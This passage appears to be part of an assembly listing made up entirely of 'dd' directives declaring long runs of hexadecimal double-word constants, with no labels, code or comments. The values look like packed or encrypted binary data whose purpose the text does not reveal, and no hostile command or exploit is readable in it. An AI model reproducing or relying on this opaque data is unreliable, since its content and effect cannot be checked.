20F62E3Eh dd 9E37AC46h, 43E91D13h, 57B86DC0h, 2944014Bh, 1940052Dh dd 30F8D962h, 6110C3BDh, 4D0C1233h, 0F556E5C1h, 877C0509h dd 0AA7D86AEh, 0FCEB7B73h, 0EC3302F3h, 0DE297463h, 2EFA9C82h dd 0A6003744h, 0F7424420h, 0E0C1D0h, 314E2D08h, 0B6353959h dd 82862709h, 60476AE9h, 1F1A7h, 0C8292FA5h, 0FC630559h dd 7080DC2Eh, 1C514202h, 0D68E7F4Ah, 581E0854h, 81727529h dd 2E462822h, 3BFC6B81h, 0F8715C02h, 4E2B2630h, 0E9320952h dd 0E5B00A05h, 0E1256853h, 7A714445h, 0EB329FE9h, 9CB6096Ch dd 0A579278Fh, 10818743h, 87040947h, 93BA745Ah, 19E9AD07h dd 20D949DDh, 0A449F882h, 39294FA5h, 0A433EE60h, 4D79F24Fh dd 7781A712h, 7132DA0Eh, 182E474Fh, 0D45DEF89h, 0FC069CFBh dd 0F08E6E64h, 0D700F6C1h, 528CCF80h, 0FC27B353h, 1F1092C9h dd 92748EBDh, 4500490Ah, 98402EF6h, 0EC3A8C0Eh, 270DEACDh dd 97812AC8h, 6A6BD86Dh, 0C2CF3A46h, 0F8A6094Dh, 4462B91Ch dd 2DDC7289h, 0E0F3E989h, 13F831BBh, 0EC6295Fh, 542F6C3h dd 94552DFAh, 3D6801BBh, 5E503C47h, 803830F7h, 778C3F5Bh dd 0C4370A67h, 1A880950h, 946841F8h, 27B8864h, 68CC5A27h dd 0F007C734h, 60EEF63Fh, 15BA16E1h, 54909134h, 0B0970C98h dd 0D3AE0F0Dh, 61C8CA26h, 223D71DCh, 0E3BFB770h, 0FB21288Eh dd 0C92382E5h, 0E47CCA3Ah, 0C830D904h, 69ABD3C4h, 68DB6036h dd 0A28F0BC6h, 0B4B0BD52h, 66A0D613h, 11131643h, 4CE3581Ah dd 68073197h, 0ED86AA2h, 0E3534AC1h, 4AE90C4Dh, 9CF5DB9h dd 61573317h, 202523DCh, 83109F1Eh, 965B028h, 68EB1F3Dh dd 0AA08D785h, 3ECA2730h, 565F4A61h, 84D3B7D0h, 0E0A83BE9h dd 3441C79Dh, 0A804B433h, 0EBF18A5h, 7B876CEh, 897EA3F6h dd 77504105h, 2D3A702Fh, 7AFC07A2h, 0DF794104h, 0CB08081h dd 542D1723h, 0B2AF1BE7h, 66AE4132h, 730276Eh, 0A174D51Fh dd 0EECE2B5Dh, 0F62F1620h, 0CC7C41F9h, 6864C02Eh, 27CB223Ah dd 25F920C5h, 1FEB4311h, 0CE172D71h, 4CA115B8h, 3B5BC1D1h dd 0E52DCA8Ah, 0C052E784h, 0D20DD066h, 27776548h, 0FDEF64B4h dd 80D79A44h, 0F6A79687h, 39B562C7h, 8D2F02B1h, 34CE0497h dd 7666BA03h, 32554C7Dh, 0AC121F34h, 5166A08Eh, 202305B1h dd 0E0B8E9CAh, 93935DD6h, 11020113h, 4C604968h, 1E8617DCh dd 0CDF004D7h, 503CFE65h, 0ACEEBC87h, 9F70818h, 30120500h dd 2A6859C2h, 802C22CFh, 2F371BD7h, 0F38B4D0Dh, 672FB800h dd 60B0EDC1h, 691636E6h, 74006250h, 0DA08070Fh, 0DE9B20E9h dd 57F85976h, 0D7281C97h, 5173801Ch, 0B73831B5h, 59EF0BE3h dd 94040288h, 0C3860721h, 6BCAD4F6h, 80093C56h, 1460BEAh dd 614680Ah, 809FF416h dd 885066F7h, 2DD0EEF0h, 0BEC1D2F6h, 0F1C2E9D3h, 61602CD8h dd 0E3E9C314h, 78BAD2CAh, 1BD124F3h, 0F3E58ADh, 66898899h dd 6023E809h, 930082A0h, 5B5734E3h, 0D8A3157Ch, 4B7B194Dh dd 0DE2A76D9h, 0F9E91632h, 99609D53h, 0EF6B1B3h, 86B450DBh dd 0D058E303h, 36C38098h, 8A23E92Fh, 0C0710063h, 0CB09F954h dd 0A0895029h, 0BF115F27h, 49C68D18h, 10459158h, 2925D45Bh dd 2C1C841h, 8ED0AF4h, 503549Eh, 0F6717025h, 0A41E5B20h dd 36621C8Dh, 0AF9FCF7Dh, 0EA3364B1h, 3168B58Ch, 37270D8Bh dd 9B256FD3h, 9D28DECh, 0EEF134D6h, 519FA68Bh, 590B8154h dd 0C441504Ch, 809DE1D1h, 72F9DAFh, 0D6F7000Eh, 3A2DE681h dd 68170CA7h, 66050F2h, 2C2F069Fh, 2D04D48h, 36AE525Bh dd 70596C41h, 314F5CCAh, 3C5691D8h, 955B44E9h, 2F99820Bh dd 0BD555D01h, 4484928Ch, 3412C544h, 9D0F48C9h, 0D7003E06h dd 687D3546h, 31335F8Ah, 512AE5E1h, 0C16459ABh, 0F89FD51Ch dd 0D19A52C7h, 28F60782h, 69780900h, 1AD38941h, 366DE95Ah dd 818603D7h, 751E0F1h, 0CB011212h, 21C40259h, 759249h dd 43450465h, 0A0999C60h, 141CD008h, 0E8B45748h, 0ADF6B42Fh dd 5E9ED611h, 54655501h, 8406A28h, 58C42D99h, 0A620F70Eh dd 6F16B0E8h, 54E8779Ah, 97F3E87Dh, 545A4644h, 711D63C0h dd 63429F83h, 70C3A600h, 6E61EB78h, 0D3F70412h, 0FAF3E1FFh dd 0C50384DCh, 0EC61E9DCh, 0CE2A4E74h, 0ECB8C460h, 3100CA44h dd 2A0AFF05h, 0EE254873h, 5AA10003h, 87B6935h, 960E2D0Ch dd 0A111EF5Eh, 8FCDD3B6h, 684C7F73h, 5C66127h, 6054503Fh dd 0E43640CAh, 0BF571E2Ah, 411D2BEh, 125EA42Ah, 0B34862BCh dd 0E6EE8200h, 72CA2DA8h, 155A705h, 70E05E8h, 340C25Dh dd 701142CCh, 0CE26205Dh, 0E294339Fh, 680368F3h, 315B4AEBh dd 82D42998h, 5E5C133h, 5ED74156h, 904BA478h, 24BFE7C3h dd 47759509h, 0A591804Fh, 3A26625Fh, 5A5F829h, 0E92C3D7Ah dd 0D3A70478h, 0CC06A6D1h, 411609FCh, 69C50E35h, 43199980h dd 0E9780CA4h, 0FE45AA86h, 0F61D49B8h, 0FDA86D59h, 426C600h dd 9DE9090Fh, 30D9C94Ah, 256912FCh, 0D0F2D5F9h, 0D55AEBC8h dd 0F671260Bh, 5C1A61ACh, 4C8BDD33h, 68848DE5h, 68BF78FEh dd 0CE4FE9D5h, 0EA2DA101h, 2157792Ch, 0ABA30AE2h, 9CA5CBEh dd 0C182F289h, 137535A0h, 489AC2E4h, 70EB8096h, 4E5FB0BAh dd 9056C42Ch, 1EB02DD3h, 51AA024h, 8843328h, 9A2E925h dd 8A43E5E0h, 6B9D5B0Ch, 8B4F96D9h, 642AF9C5h, 8EEC75EAh dd 580E68C4h, 167DBA57h, 0B91BD510h, 2DB24B52h, 11C1A1D6h dd 6E59CA15h, 61114F61h, 9D6997Ch, 1C53F5AEh, 0B20F22Dh dd 74B46050h, 6C452C7Eh, 0DDE90C23h, 3E5D2DF0h, 4ABDE2C1h dd 82608327h, 6B992966h, 98E06B1Ch, 0D93395DEh, 5836F55Ch dd 0D04F259Dh, 1A7EAE55h, 0E323F8E9h, 0F4FC7D42h, 4E5DBD01h dd 63E875FEh, 0B2489FC5h, 973D4687h, 85DBAD13h, 1CEA5BC7h dd 0FB1CDFBEh, 4F19F6DAh, 163489B3h, 50F7B4ABh, 6D374012h dd 358BBCA8h, 3FC168B3h, 0A94E3E55h, 7C22E003h, 0A45BDF89h dd 7B2507A4h, 0D8293E3Ch, 5F170CC8h, 5019E8Ah, 32232C19h dd 2B427157h, 0E1C14801h, 50204908h, 0B53E00F3h, 7DEB8154h dd 193B666Fh, 33A04EC1h, 0FB01813Bh, 1907C63Fh, 0D32C4D98h dd 983ED1DCh, 0F1763177h, 3B59C8EFh, 582DF5CBh, 35C6D4A3h dd 0BA041F4Eh, 80002FABh, 0FC28C5C7h, 0B60AFFB0h, 0D4F430A0h dd 5EA9270Dh, 20E44249h, 0D213DFA5h, 2248F166h, 410D8023h dd 0A294F71h, 3EA9E9C2h, 92D81FCh, 2175B660h, 54428C9h dd 537B101Ch, 0D4891CBFh, 0CD10E2E8h, 0C3280DD5h, 22E8FE80h dd 40CBB419h, 1668505Ah, 1032674Dh, 553B38FBh, 87898426h dd 0E55DEB21h, 97DF085h, 5D9690CDh, 90505724h, 0B5BFB2A9h dd 0F4348864h, 0EFA3129Ah, 558DE9C2h, 0D91EE46h, 0C22C7449h dd 7F76B142h, 4791BF40h, 5E766052h, 48F5464Bh, 7E570CC1h dd 0E205C98h, 363009CAh, 442F2171h, 9276E7E1h, 54EFD819h dd 171B415Ch, 1804F989h, 698D16CAh, 908AEC6Ch, 76F20064h dd 89F9C2B8h, 24B7D04Ch, 0E85A5AC6h, 25E9E878h, 0B7521C28h dd 734E520h, 0B17165B8h, 598AAE1Ah, 0ADF244B9h, 68520437h dd 9ECD198Ch, 0F4EC79E1h, 4329813h, 0B7E902E5h, 0BE17942Bh dd 2053780Fh, 5BF88805h, 59E83C28h, 4BC779F7h, 0DBD191F9h dd 0CB207E18h, 280334B0h, 58D75835h, 289CA940h, 87D70665h dd 18505FFAh, 76074A00h, 6C2FB820h, 1E1A4AB2h, 2F5AAD5Dh dd 0CF4F301h, 0DBF706BCh, 0B620D3C9h, 0D94C1679h, 6EF0C6ADh dd 250B8C5Fh, 812B0521h, 5B35D1E0h, 0C90F4B2Fh, 2C33CF40h dd 464B7BEh, 0E5163245h, 3CA5DDD4h, 0B9C03E98h, 6E18A02h dd 2007AA80h, 0E4C659CCh, 0F807E618h, 25DB98ECh, 7793D296h dd 971D10C1h, 0F13FE53h, 0E04AB95h, 51092A3Eh, 321ACF87h dd 2ACC77A6h, 17B36EB5h, 0D7BA77E9h, 3A034D97h, 4B853B90h dd 497B5C43h, 94DCA03h, 5E3C167h, 6808EE98h, 120DFA25h dd 0AF8377ECh, 0FFF9835Eh, 8EF4EAE9h, 4E805B17h, 0C61FD868h dd 0A299279h, 3027339Bh, 24E9F704h, 0AD37F91Eh, 556001D9h dd 4DB6BDh, 0ED8157ADh, 54691AF5h, 9DE5DCF3h, 0F2356F28h dd 4A47D548h, 1454A01h, 7D219282h, 0E9CF286Bh, 0E8E49827h dd 0E0D5C24Bh, 5005B525h, 2F06BF01h, 2495D094h, 1572C283h dd 6748BC7Ch, 2D859820h, 0B10B60Ch, 3127C7BAh, 541C3F0h dd 59B4185Ah, 63E20FCBh, 0FCC44BB4h, 781A949h, 0DBFEF2ECh dd 69ACB0B5h, 9C705925h, 44F7AF9h, 0AB48E6F3h, 0DAEF07C3h dd 0B2456864h, 167412E7h, 0B6046D61h, 5FA7FD70h, 4BF28F44h dd 5C3BE1E7h, 3AE9C3A7h, 7D4EC168h, 6A0B9695h, 77E200CAh dd 0C4CEF181h, 91AFE90Dh, 3B595407h, 0A455C9DEh, 0C87AE9EDh dd 0D9609785h, 0D068533Eh, 0A63B991Ah, 5E2F0CBAh, 3A01C54Dh dd 31805461h, 902A5DEEh, 7677EB83h, 90E14F50h, 0B5B17CE7h dd 49CF5782h, 18DDFEF9h, 0E26A127Bh, 99FCD217h, 0BBFD9196h dd 54B105B8h, 40FC1D7Ah, 43C576FDh, 274175E9h, 0F0E48420h dd 6142B5CFh, 5E5DDF64h, 4F578AB3h, 0FD41C1E2h, 789A9533h dd 0E5965E51h, 5EE9A69Ch, 0B9D38068h, 2728583Ch, 1000B923h dd 1D75ECBh, 49C4E9CAh, 2F766ABBh, 0EE5B48D4h, 61320502h dd 78D4F629h, 661D7F69h, 3D16E96Bh, 0E81033F6h, 0F9311C3Ah dd 0D1F7CF80h, 5A266857h, 5F692144h, 699DE859h, 74634695h dd 92E5958Bh, 1095E984h, 0C6EE8001h, 0C9163188h, 2EC4AB99h dd 0E1847449h, 8F38F8E9h, 1763CE47h, 98A4175Ch, 741B990Bh dd 0C802C5C3h, 1112B41Bh, 0A94EF6E9h, 0E16BC949h, 0E9605570h dd 1F46734Fh, 9ADD8954h, 42878352h, 0A64FBEADh, 8B291FB3h dd 0B56E5307h, 7288CE97h, 755859E9h, 2D5DE800h, 2AE01C3h dd 9639659Fh, 30F2C20Fh, 613B8EF7h, 86C7FE85h, 0ECD0F6C8h dd 885102C0h, 6E8268C5h, 0FDD3C29Bh, 16C984E5h, 5B944EE4h dd 5C1244F7h, 0C9FE035Ah, 99259380h, 0F1D837E1h, 0A063B026h dd 0B50A71F2h, 1AB5446Ch, 89E88B61h, 335A5233h, 0CCE9F1F6h dd 968168A1h, 0BA800726h, 0E65FFE31h, 414A9FF3h, 0AD30A94Eh dd 0B7594E9Bh, 0C29F97h, 0D3C7145Fh, 1B20BD8h, 0EB88CFF1h dd 9F42656h, 1444CE67h dd 0DDA9CBE6h, 2F7EEE7Dh, 2AF5944h, 461368EAh, 46957BC6h dd 0C710F3EBh, 15E20525h, 0C59064B0h, 0F0560882h, 62E951C9h dd 7BCA3FE9h, 0FB64105Dh, 535A3F7Ah, 9202D926h, 0B658C531h dd 0EDA310FDh, 7776B800h, 33BA4E9Bh, 137DCD17h, 4225ECBCh dd 0EA3D5DF0h, 36108CD8h, 172B0E4Ah, 0FC09A6D6h, 45F1806Fh dd 2C440542h, 2D21CB29h, 0E874738Bh, 7638D2D3h, 0D78353F2h dd 534BCF76h, 7CE08E16h, 16179AD2h, 0B8670B68h, 0D949C41Ah dd 1FAABA01h, 0F8BEA508h, 0CAEB0B36h, 0E1F06555h, 0AB76BA73h dd 5E8C10Fh, 31D70152h, 0D4800D07h, 0C9F6C33Ch, 0A0B0D009h dd 0A6BD36B6h, 0D2455102h, 5EEFD6C8h, 6F99C94h, 3CE70A95h dd 523230E2h, 454D2788h, 0F9FC16C4h, 77394A9Ch, 0C3618716h dd 508B4EA2h, 68C23ADCh, 9741D08Ah, 0E8195C65h, 0CA3F5D41h dd 59E9C566h, 0C05F27D2h, 0E41ED505h, 0BE7B821h, 262D43D7h dd 0DBF61A80h, 2C58F2DCh, 65700199h, 0F52972B7h, 805A471h dd 0B1F85612h, 0CB39EDB4h, 0C190685Fh, 82034CEDh, 580A8B02h dd 10020939h, 0F0B146A7h, 1879591h, 1973F00Dh, 33030563h dd 0F76FF61Fh, 0B60F05D0h, 85C589DBh, 664CECA7h, 4945313Eh dd 0D2251263h, 940E82A2h, 7F24C1F2h, 0C56FDEEEh, 62AC2A3Ah dd 3378089Eh, 0ECFBA0B1h, 0D29EF562h, 0B2B652B9h, 0EEB889BDh dd 2B407C0h, 880160A4h, 58130CC8h, 42903509h, 6AA7F980h dd 39D542E2h, 0CBC54BC9h, 0C059EA81h, 96FE5AD0h, 0D9B15112h dd 5227F1ECh, 1CC33ECCh, 8288B690h, 0FD51E1CEh, 21C1DD6Fh dd 5B522CD2h, 0CF87C283h, 62F8FEF5h, 0E6F01C9Eh, 8F19232h dd 0AC02C682h, 0C60A7968h, 7CB60537h, 0AE13B7E9h, 0F942C439h dd 7EB782Dh, 0EF16F4BBh, 0D483A53Bh, 4C2BEA0Ah, 457DA65h dd 1EBCAEE9h, 61F9E09Ah, 8004F877h, 393A820Ch, 0ED0C7E61h dd 6920C923h, 0A2E913C3h, 7B09E7CDh, 0F5F4FA5Bh, 152E6478h dd 7A4CBC4Ch, 84007A5Dh, 55B35A58h, 7A226809h, 3B2C7DC6h dd 6B0A35h, 0DF3D4471h, 835F0B0Dh, 1407FFEFh, 0ED898E17h dd 0E1C0FD87h, 0FF294DD5h, 12082AC7h, 0FAB9095Dh, 72124574h dd 0E34E9AA8h, 9774810h, 3BC8310Ch, 0A596DA58h, 5722F991h dd 0E0066049h, 2C9A0950h, 0EDE3CEE9h, 0C220EFB0h, 1A9658F2h dd 95174A2Ch, 61D049C5h, 7DD9682Bh, 0E20C252Fh, 82204671h dd 8C3E585Dh, 50AD7Fh, 0DCF66CB4h, 0C021CC80h, 0E907EC0Bh dd 7C4F290Dh, 0E552E7B3h, 8FA4E047h, 29260277h, 0BB601892h dd 204D3Fh, 16C82D22h, 0D82955B0h, 0A88EE924h, 0C1D6F781h dd 1EE903EEh, 815F3D8Fh, 97102881h, 4FDFD451h, 5D05B9E8h dd 16F4BB2h, 0BAB091C5h, 8789529h, 0CBC10F9Dh, 0F6FB6E0Eh dd 95389A6Ch, 0D624A5ECh, 68C12C5Ah, 33924F8Bh, 9975716h dd 2CC8A784h, 38F06E20h, 4E0B5590h, 6A1FC243h, 1C080D62h dd 19E11417h, 88F8E046h, 3BC59513h, 6091908Ch, 5094E58h dd 0BEB82D54h, 0D75D1A33h, 326B9D9Dh, 14D75CF8h, 74E9174Bh dd 4B22F406h, 0E073A839h, 0A6057988h, 0BAE9124Eh, 68B89C9Ah dd 661A9D2Fh, 0BEA699B9h, 2171BDADh, 0F0F260CBh, 0C9E79D21h dd 58A7688Eh, 82EC4449h, 0A5BB54D4h, 88555148h, 5003CBEh dd 776820F6h, 1E82D83h, 1863398Fh, 2D982F2Ch, 5B26D575h dd 581613A9h, 5380B0A8h, 0B0065768h, 815B6201h, 884609CBh dd 0FE4FCB50h, 89411235h, 599809D9h, 83AD82C0h, 6207F38h dd 59B840Fh, 4979897h, 3BAB5418h, 0E2C10289h, 21A07702h dd 7FD942D3h, 61043790h, 298967D5h, 7E682C81h, 2C987DE6h dd 0CE0039D4h, 9AC98150h, 0E7279E49h, 0A18570h, 0D37B653h dd 46761108h, 435E3502h, 55090C72h, 71E1BFC0h, 8297A3E0h dd 0B10EED4h, 0CC2621F1h, 8EA09017h, 20DCA42Ch, 5D0F952Bh dd 2B50C331h, 4CBBD285h, 4C122877h, 0B33AA26h, 961EA6A5h dd 83744B45h, 0F497511Fh, 81D962E5h, 2473D720h, 124F5AEBh dd 71A8B145h, 2FD6F8B4h, 206BC0B1h, 7B34F091h, 50F5FC07h dd 0A1C106F2h, 0AF39E928h, 3ECD8002h, 0BFEAF68h, 0AEFBB98Bh dd 428BDEF5h, 80A9F07Ch, 187EEFD5h, 12298184h, 8BB0F189h dd 80621697h, 823825A2h, 0CC0CF979h, 0DE515C8Fh, 0E2340B3Ch dd 0CC830CEh, 87E98402h, 6E29EE12h, 9425623Fh, 659534D8h dd 949ACCEEh, 0AD1DEDBEh, 58F03192h, 0D1050959h, 9484BF7Bh dd 0B989B029h, 0E8B4C5D7h, 55BD409Bh, 0E82D6F90h, 0F6914E34h dd 8287BBF3h, 8746192h, 74D6A5E2h, 0E6BE820h, 0F6D92963h dd 2721C571h, 5C97C899h, 73F065CDh, 128CA548h, 8493C855h dd 0C527F6BCh, 7A263F03h, 25F9AFB7h, 0A4C7298Fh, 1DF40346h dd 4939F030h, 0D13F48A1h, 168677AAh, 0B40478Fh, 9F7C4B05h dd 1332747Ah, 2E47A1E5h, 2D80172Ch, 2716CEBh, 7E2129A7h dd 0E9275612h, 61040963h, 42250291h, 9D50F5F0h, 0B3FAD31Bh dd 8E8CA790h, 5BEAD1C9h, 486D0A27h, 0F6AA42CDh, 0E39A3055h dd 0C173BE62h, 2DBFEBE9h, 6850C17Fh, 5E2475F3h, 0E269403h dd 0A6E4CD29h, 2D5BB41Fh, 3F263591h, 0DC58B849h, 5B6EABC6h dd 0BB4BD558h, 68589820h, 8C1D4B7Dh, 0E65F9EE1h, 50582DD8h dd 8B0D7F18h, 2C542F3Fh, 2C07D851h, 58FB3D14h, 0E94912B2h dd 69F0AC7Ch, 0AB724574h, 98D241Dh, 0E0761CA0h, 0D0F0A56Bh dd 5A682181h, 0E95EE982h, 810046F7h, 5C633FF2h, 0D512F356h dd 4A90E5Ah, 597F8DF2h, 58CB6EF5h, 0A5C20B92h, 37B2D020h dd 391FEA80h, 0E30BCAFEh, 0BFDBD1BCh, 0AD261649h, 0D5E708BFh dd 5CF7660Bh, 8D7388FDh, 8231AD0Bh, 13560AAh, 0DCBB5342h dd 97C6A2Eh, 54B1926h, 54525F60h, 50069C5Ah, 55F7E956h dd 393E5397h, 7DEE78E9h, 37AF6B14h, 546602B7h, 782932A1h dd 5A5ABE6Dh, 0E92010DFh, 0B8B760FEh, 0DA31D3F7h, 6109A5E5h dd 76CC816Fh, 11D8191Bh, 0DC596051h, 609D6164h, 0F3CA29A7h dd 0FDD5D140h, 7AE4FB3h, 49E95331h, 3E640041h, 8CE25A81h dd 0C289A015h, 3CDF5904h, 0E945D131h, 8B2A94B5h, 17680976h dd 20166657h, 6AC84801h, 0DE00252Ah, 0D0C9FEB7h, 3780E13Ah dd 0D05C0EE8h, 0F6AEC588h, 0C0020FDAh, 0C2E7056Fh, 5E84F9E5h dd 3113AE45h, 868A2AB9h, 0AD2996E7h, 65009393h, 6A6F454Eh dd 48B90551h, 8309DC7Bh, 8FC9F9CAh, 9656A875h, 0A19D1B20h dd 162A6984h, 2D36CBE8h, 862C655Eh, 351E72E9h, 5205F90h dd 85664A42h, 457AA818h, 9DA8EA9Ch, 0AAE91E08h, 0E25D50BEh dd 2A0E014h, 2A480D34h, 52411359h, 2F31E0E6h, 0D7F38102h dd 495A5830h, 0BB830966h, 0CEB551ACh, 0B7E65CAh, 28AA5C12h dd 40E0BB50h, 4AF9F882h, 28F90A51h, 59C10FC9h, 0CAA38E49h dd 0CF8329B7h, 5AF730D0h, 5B60287Ch, 0FAE98726h, 0BD5580A1h dd 761F0600h, 88ED812Ch, 20702A4h, 0F6E9EA31h, 53959650h dd 0D382256Fh, 0B305D844h, 3521AB81h, 7CCE8A6Fh, 0D19F4E25h dd 0AD133C97h, 2F19F2B6h, 14F1D158h, 0C627CF54h, 0E9E146D1h dd 526FF2A2h, 8DA1DDh, 5B68A8A8h, 1EF43748h, 695F193Dh dd 6AC2CF01h, 0E7D87AE5h, 0D943398Bh, 5E351860h, 0CC13763h dd 4DCA063Bh, 3F0DEFF0h, 30F22916h, 785A5FFBh, 0EB5E38FAh dd 0C3CDE8E1h, 0B008DC56h, 0CC4C5ED7h, 365B4369h, 7E3975CDh dd 50BC9B4Eh, 3E02DF19h, 7DE91B49h, 0A40598Ch, 8995451h dd 5C12C0FBh, 5E2335A4h dd 0B18E238h, 0C69C88E9h, 0B69DB003h, 0AE050118h, 0E9682370h dd 5368648Dh, 5B13EC99h, 92E1DFB8h, 0C874043Dh, 241B3BEFh dd 4067F0B9h, 4BBB0218h, 99608F49h, 5913E8CBh, 14F41ACAh dd 0DD81EE3h, 2ECE9A8h, 21111510h, 0DA09CBF6h, 86145D27h dd 13964C95h, 0F88DDFE9h, 764CCFDEh, 1FECE35h, 2F3A952Dh dd 0F2102A53h, 0B4A84A07h, 0A4352548h, 3F308143h, 2ADC3ADBh dd 5FA3F855h, 826227F8h, 0BD14F0Bh, 34B85293h, 7A013DA5h dd 0B6455A00h, 9685310h, 13E17CD6h, 3119AC54h, 28805FF5h dd 7F9F05B1h, 1D0ECD81h, 0C00DD935h, 8639FCF5h, 52E92722h dd 0E37B17FAh, 30F61214h, 7F6D05D3h, 0AC03132Bh, 0B40DFBF1h dd 0A5499F46h, 934BC277h, 0D9F27012h, 8D2842C5h, 1750299h dd 0A02E6DE4h, 25CFD989h, 38FD1C0Ch, 24B29886h, 0CABAF6A3h dd 532D02FEh, 889E267Ch, 8100EE96h, 7B19B3F6h, 0C47900Eh dd 741E3B63h, 0ED0B8B18h, 0FC1C085h, 89E6E728h, 1F0310D3h dd 0C05DF41Eh, 663A2D3Ch, 291449BFh, 260705F0h, 271ECD5Eh dd 8926A349h, 470F5D2Ah, 7FB13B8Bh, 0CDC2A59h, 75A85377h dd 1D390110h, 0D1C9F2B3h, 79A02923h, 646809E8h, 0F9B2BBE8h dd 54EADDC0h, 0BC22EF48h, 0EB214251h, 0DB0B89B0h, 32850F09h dd 70EC7CD9h, 11C920B8h, 98BD5205h, 2C430F99h, 0A23716B6h dd 0D605C0D3h, 0B537FC5Eh, 28076888h, 0FAC0B35h, 97035378h dd 6CCA1E48h, 612F9874h, 9E4005AAh, 996562Ah, 0B81DE92Ch dd 0A5BC9B51h, 5B8304E0h, 4B5EE5F3h, 5BE181C4h, 7EA88253h dd 40360B58h, 30345CC8h, 860C2B31h, 350E3CB8h, 6159CB89h dd 1F47E9D9h, 17043E32h, 0AF2B655Ch, 30087150h, 71851E59h dd 0D37A48A3h, 817BE913h, 7AC63162h, 5A010F2Ch, 3222A0F0h dd 4DB61613h, 0D242BAD2h, 0C4C87218h, 0FE5E5914h, 4C444013h dd 451AB3F3h, 688C015Fh, 0CA2F6539h, 0E97D61BEh, 396A94C4h dd 0F9920401h, 6782D6FCh, 7630FFFFh, 96094C8Eh, 0E0D7E978h dd 3EEAB895h, 0C116D609h, 0D89200E0h, 7D858435h, 0FBCCA5Ch dd 49FA5573h, 208F7E01h, 0DD585908h, 0F004CCD0h, 0B0C93E49h dd 0EC970A9Eh, 0EC6D4DC9h, 145A2Ch, 2C21FFCAh, 0EA3CC11Dh dd 302F306h, 0E902F7F8h, 4AFCD875h, 8473E954h, 512390Ch dd 0F2D66377h, 19597E06h, 0BA3550A8h, 1AB64B16h, 782D1D01h dd 0F9405154h, 0A257D9CFh, 4B7578BDh, 0BCAF16D1h, 0A6E2A715h dd 2ECC59D0h, 7AB402EFh, 0CB917241h, 9C002AB0h, 0C780CF28h dd 506616DAh, 0CB630A52h, 68D884F2h, 7F30E429h, 5419E760h dd 945A0824h, 4AE089B8h, 0FA165510h, 4AB1935Dh, 0B94A0AB9h dd 91718EBh, 0D068618h, 0DD29250Fh, 0E908011Ch, 3143654Ah dd 74DCDD7Eh, 0C10931A9h, 0C6028E68h, 52DA308Bh, 647B41DDh dd 2D581C14h, 0CEE91606h, 0B91D7056h, 471A27FDh, 32193FA4h dd 2CF72AC9h, 53F28059h, 62509E5h, 0AEE9D701h, 0EAF04F94h dd 0ED5AC3F0h, 1904DFB3h, 0A9568614h, 2258273Ah, 15DB2E7h dd 2B3C62E9h, 524B6FE2h, 0E9E29121h, 5C89A537h, 9CCD24Dh dd 1EBCC690h, 0C4C8792Fh, 0BF44FBD2h, 77E9411Fh, 3910C73Ch dd 0B25200F6h, 28C5B32Ah, 805A06D3h, 2866F5F3h, 0EB30A81Dh dd 0CBFE5981h, 1E9CD3F6h, 0D7C3C1E2h, 2F5BD828h, 2517A28h dd 0CE88BFB1h, 0DDF0F8E9h, 0A6DE1EB5h, 0D0E9165Dh, 13D3E948h dd 0E6A29373h, 0BC10B148h, 12194C8Ch, 0F915FF8h, 68003EACh dd 43A94279h, 0A9226EBAh, 5CF043FAh, 473D430Fh, 0C8E6AEh dd 2C325D0h, 20985624h, 125C0502h, 0D82988A9h, 0E32EE7D3h dd 7E1B1385h, 0ABE91405h, 10DBA150h, 10EEEE4h, 0B55381C7h dd 259932F4h, 0F58C4840h, 279F093Ch, 0A78289C0h, 0ABD34618h dd 2AF51BA0h, 0F5B68907h, 0C2967D09h, 95B4503Bh, 4EB41AE9h dd 4412021Eh, 31EA0A52h, 2A5DEE7Dh, 0E5574391h, 8AF83101h dd 0BE11CAC0h, 511FB784h, 0EE2D3EE8h, 0E0930A2h, 92BC98D1h dd 98588520h, 3C15894h, 420508E8h, 0B0EC94FCh, 0AAF6E920h dd 0F693AFB5h, 618B87ECh, 56252B78h, 0C3746A5Fh, 90C484F4h dd 0E6067780h, 3E0C5808h, 0C9EBF25Eh, 2F19FA21h, 0FD49DDE9h dd 84E56CC1h, 0AD172863h, 0BE69176Dh, 45874F44h, 0DDC2D4ECh dd 0ED5C5855h, 0EC052C5h, 12B17FB8h, 42DAE962h, 0BE565341h dd 0F1ADB5D6h, 0E93F30CDh, 0F3CCB9D4h, 138E90D1h, 907384Fh dd 0B470EDACh, 6DF1BE00h, 0CE8147CCh, 52358B7h, 92584625h dd 9041CB20h, 7DF518A6h, 9AF3FA5Ah, 4E40B739h, 5E324EA1h dd 5C88412h, 0C8A3B6F1h, 5113F5B4h, 0AD0010C6h, 1F621493h dd 0BDD54C01h, 0F98B0840h, 92F4F22Bh, 959934BBh, 0BA44BB22h dd 46FEDABDh, 0E59985FBh, 9C3720F5h, 66B2981h, 1FACA08Ah dd 2794C148h, 0F7409045h, 5B0BC7D5h, 203F293h, 51F1C55h dd 0BB43670Dh, 35EF9108h, 20D2D187h, 8340E1BEh, 66E60088h dd 0B6525358h, 0ED7FB3E2h, 8A51A45Ch, 0E9E12C08h, 972F07EEh dd 0BEC2D44Ah, 0F75E79D3h, 75AC9724h, 0C21B0693h, 8FB52F0Dh dd 0C6C1176Ah, 8E485F5Eh, 168DBE03h, 0E4AB1796h, 0A7D48E41h dd 59B10467h, 50FE6DD2h, 0E938081Eh, 5209052Ch, 2C40BD2Ah dd 507F4CECh, 42E26804h, 0AF815356h, 2801F252h, 345121F3h dd 0D6C666E8h, 1E0A35E7h, 0AC3E46CAh, 4ABF3E6Dh, 3B0A688Fh dd 477F5FD2h, 0EBDD86BDh, 0CB966B22h, 0EFE25905h, 0D61AF862h dd 89E4B856h, 2588D5BEh, 2028799Eh, 2ED07E4h, 2D82FD5Bh dd 5F051FECh, 7B4C06EBh, 0BA0720A2h, 6B83300Ch, 6BE00BA5h dd 3360F05h, 0D64429BDh, 2D74FB3Eh, 4088DF11h, 0BF0457B3h dd 67194323h, 165BCAC0h, 277EB0CAh, 0F92007FDh, 0E56D8AF3h dd 51AB1248h, 560F7B5Eh, 83F7CB4Fh, 0B036A5D9h, 307B5FE7h dd 324C3720h, 6BB8165Eh, 484CEF03h, 0E2E9331Bh, 0EA907D17h dd 5D819D3Fh, 41806960h, 75CD3BD4h, 0F7B8E42Fh, 87643D01h dd 2AB1E94Eh, 53A3406Eh, 0C72845BBh, 0D92D387Dh, 0D071E63Eh dd 1C21C6F8h, 0CEA3D017h, 33D20502h, 79586DC2h, 30FF0780h dd 0F00C29BAh, 5C7FB46Ch, 0E82820Dh, 440A0165h, 0CAEFB50Ah dd 29099610h, 286A2047h, 5C9E9170h, 746AE962h, 